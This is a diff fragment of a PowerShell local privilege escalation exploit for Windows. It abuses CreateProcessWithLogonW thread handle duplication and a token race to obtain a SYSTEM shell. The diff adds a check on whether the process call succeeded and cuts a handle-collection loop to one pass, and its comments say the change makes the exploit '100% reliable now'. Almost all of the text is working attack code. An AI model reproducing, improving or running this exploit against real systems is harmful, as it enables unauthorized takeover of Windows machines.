@@ -155,8 +155,8 @@ Add-Type -TypeDefinition @"
155
155
# CreateProcessWithLogonW --> lpCurrentDirectory
156
156
$GetCurrentPath = (Get-Item - Path " .\" - Verbose).FullName
157
157
158
- $path1 = $env: windir
159
- $path1 = " $path1 \System32\cmd.exe"
158
+ $path1 = $env: windir
159
+ $path1 = " $path1 \System32\cmd.exe"
160
160
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
161
161
$CallResult = [Advapi32 ]::CreateProcessWithLogonW(
162
162
" user" , " domain" , " pass" ,
@@ -242,8 +242,8 @@ Add-Type -TypeDefinition @"
242
242
$TidArray = @ ()
243
243
244
244
echo " [>] Duplicating CreateProcessWithLogonW handles.."
245
- # Loop Get-ThreadHandle and collect thread handles with a valid TID
246
- for ($i = 0 ; $i -lt 500 ; $i ++ ) {
245
+ # Loop 1 is fine, this never fails unless patched in which case the handle is 0
246
+ for ($i = 0 ; $i -lt 1 ; $i ++ ) {
247
247
$hThread = Get-ThreadHandle
248
248
$hThreadID = [Kernel32 ]::GetThreadId($hThread )
249
249
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
@@ -309,6 +309,19 @@ Add-Type -TypeDefinition @"
309
309
0x00000002 , $cmd , $args1 ,
310
310
0x00000004 , $null , $GetCurrentPath ,
311
311
[ref ]$StartupInfo , [ref ]$ProcessInfo )
312
+
313
+ # ---
314
+ # Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
315
+ # ---
316
+ # Missing this check used to cause the exploit to fail sometimes.
317
+ # If CreateProcessWithLogon fails OpenProcessToken won't succeed
318
+ # but we obviously don't have a SYSTEM shell :'( . Should be 100%
319
+ # reliable now!
320
+ # ---
321
+ if (! $CallResult ) {
322
+ continue
323
+ }
324
+
312
325
$hTokenHandle = [IntPtr ]::Zero
313
326
$CallResult = [Advapi32 ]::OpenProcessToken($ProcessInfo.hProcess , 0x28 , [ref ]$hTokenHandle )
314
327
@@ -331,4 +344,4 @@ Add-Type -TypeDefinition @"
331
344
$StartTokenRace.Stop ()
332
345
$SafeGuard.Stop ()
333
346
}
334
- exit
347
+ exit
0 commit comments